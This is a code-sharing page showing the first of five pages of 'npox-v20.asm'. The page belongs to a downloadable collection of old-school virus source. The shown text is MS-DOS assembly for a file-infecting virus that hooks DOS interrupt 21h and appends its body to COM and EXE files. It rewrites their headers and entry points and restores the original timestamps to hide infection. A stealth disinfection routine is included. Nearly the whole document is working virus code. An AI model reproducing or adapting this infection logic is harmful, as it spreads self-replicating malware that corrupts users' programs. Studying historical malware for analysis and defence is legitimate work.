⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v20.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
                push    cs                                                 
                pop     ds                                                 
                mov     word ptr ds:[old_time],cx                          
                mov     word ptr ds:[old_date],dx                          
                mov     ax,4200h                                           
                xor     cx,cx                                              
                xor     dx,dx                                              
                call    calldos21                                          
                mov     ah,3fh                                             
                mov     cx,1Bh                                             
                mov     dx,offset buffer                                   
                call    calldos21                                          
                jc      closing_no_good                                    
                mov     ax,4202h                                           
                xor     cx,cx                                              
                xor     dx,dx                                              
                call    calldos21                                          
                jc      closing_no_good                                    
                cmp     word ptr ds:[buffer],5A4Dh                         
                je      closing_exe                                        
                mov     cx,ax                                              
                sub     cx,3h                                              
                mov     word ptr ds:[jump_address+1],cx                    
                call    infect_me                                          
                jc      closing_no_good                                    
                mov     ah,40h                                             
                mov     dx,offset jump_address                             
                mov     cx,3h                                              
                call    calldos21                                          
closing_no_good:                                                           
                mov     cx,word ptr ds:[old_time]                          
                mov     dx,word ptr ds:[old_date]                          
                mov     ax,5701h                                           
                call    calldos21                                          
closing_nogood: pop     bp                                                 
                pop     es                                                 
                pop     ds                                                 
                pop     di                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                jmp     dword ptr cs:[int21]                               
closing_exe:    mov     cx,word ptr cs:[buffer+20]                         
                mov     word ptr cs:[exe_ip],cx                            
                mov     cx,word ptr cs:[buffer+22]                         
                mov     word ptr cs:[exe_cs],cx                            
                mov     cx,word ptr cs:[buffer+16]                         
                mov     word ptr cs:[exe_sp],cx                            
                mov     cx,word ptr cs:[buffer+14]                         
                mov     word ptr cs:[exe_ss],cx                            
                push    ax                                                 
                push    dx                                                 
                call    multiply                                           
                sub     dx,word ptr cs:[buffer+8]                          
                mov     word ptr cs:[vir_cs],dx                            
                push    ax                                                 
                push    dx                                                 
                call    infect_me                                          
                pop     dx                                                 
                pop     ax                                                 
                mov     word ptr cs:[buffer+22],dx                         
                mov     word ptr cs:[buffer+20],ax                         
                pop     dx                                                 
                pop     ax                                                 
                jc      closing_no_good                                    
                add     ax,virus_size                                      
                adc     dx,0                                               
                push    ax                                                 
                push    dx                                                 
                call    multiply                                           
                sub     dx,word ptr cs:[buffer+8]                          
                add     ax,40h                                             
                mov     word ptr cs:[buffer+14],dx                         
                mov     word ptr cs:[buffer+16],ax                         
                pop     dx                                                 
                pop     ax                                                 
                push    bx                                                 
                push    cx                                                 
                mov     cl,7                                               
                shl     dx,cl                                              
                mov     bx,ax                                              
                mov     cl,9                                               
                shr     bx,cl                                              
                add     dx,bx                                              
                and     ax,1FFh                                            
                jz      close_split                                        
                inc     dx                                                 
close_split:    pop     cx                                                 
                pop     bx                                                 
                mov     word ptr cs:[buffer+2],ax                          
                mov     word ptr cs:[buffer+4],dx                          
                mov     ah,40h                                             
                mov     dx,offset ds:[buffer]                              
                mov     cx,20h                                             
                call    calldos21                                          
closing_over:   jmp     closing_no_good                                    
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                   Infection Routine...                                   
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
infect_me       proc                                                       
                mov     ah,40h                                             
                mov     dx,offset init_virus                               
                mov     cx,virus_size                                      
                call    calldos21                                          
                jc      exit_error                      ;Error Split       
                mov     ax,4200h                                           
                xor     cx,cx                           ;Pointer back to   
                xor     dx,dx                           ;top of file       
                call    calldos21                                          
                jc      exit_error                      ;Split Dude...     
                clc                                     ;Clear carry flag  
                ret                                                        
exit_error:                                                                
                stc                                     ;Set carry flag    
                ret                                                        
infect_me       endp                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;               DisInfection Routine for 4B                                
;------------------------------------------------------------------------- 
Disinfect       PROC                                                       
                push    ax                                                 
                push    bx                      ;Save them                 
                push    cx                                                 
                push    dx                                                 
                push    ds                                                 
                mov     ax,4300h                ;Get file Attribs          
                call    calldos21                                          
                test    cl,1h                   ;Test for Normal Attribs   
                jz      okay_dis                ;Yes, File can be opened   
                and     cl,0feh                 ;No, Set them to Normal    
                mov     ax,4301h                ;Save attribs to file      
                call    calldos21                                          
                jc      half_way                                           
okay_dis:       mov     ax,3d02h                ;File now can be opened    
                call    calldos21               ;Safely                    
                jc      half_way                                           
                mov     bx,ax                   ;Put File Handle in BX     
                mov     ax,5700h                ;Get File Time & Date      
                call    calldos21                                          
                mov     al,cl                   ;Check to see if infected  
                or      cl,1fh                  ;Unmask Seconds            
                dec     cx                      ;Test to see if 60 seconds 
                xor     al,cl                                              
                jnz     half_way                ;No, Quit File AIN'T       
                dec     cx                                                 
                mov     word ptr cs:[old_time],cx                          
                mov     word ptr cs:[old_date],dx                          
                mov     ax,4202h                ;Yes, file is infected     
                xor     cx,cx                   ;Goto the End of File      
                xor     dx,dx                                              
                call    calldos21                                          
                push    cs                                                 
                pop     ds                                                 
                mov     cx,dx                   ;Save Location into        
                mov     dx,ax                   ;CX:DX                     
                push    cx                      ;Push them for later use   
                push    dx                                                 
                sub     dx,1Bh                  ;Subtract file 1Bh from the
                sbb     cx,0                    ;End so you will find the  
                mov     ax,4200h                ;Original EXE header or    
                call    calldos21               ;First 3 bytes for COMs    
                mov     ah,3fh                  ;Read them into Buffer     
                mov     cx,1Bh                  ;Read all of the 1B bytes  
                mov     dx,offset buffer        ;Put them into our buffer  
                call    calldos21                                          
                jmp     half                                               
half_way:       jmp     end_dis                                            
half:           xor     cx,cx                   ;                          
                xor     dx,dx                   ;Goto the BEGINNING of file
                mov     ax,4200h                                           

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -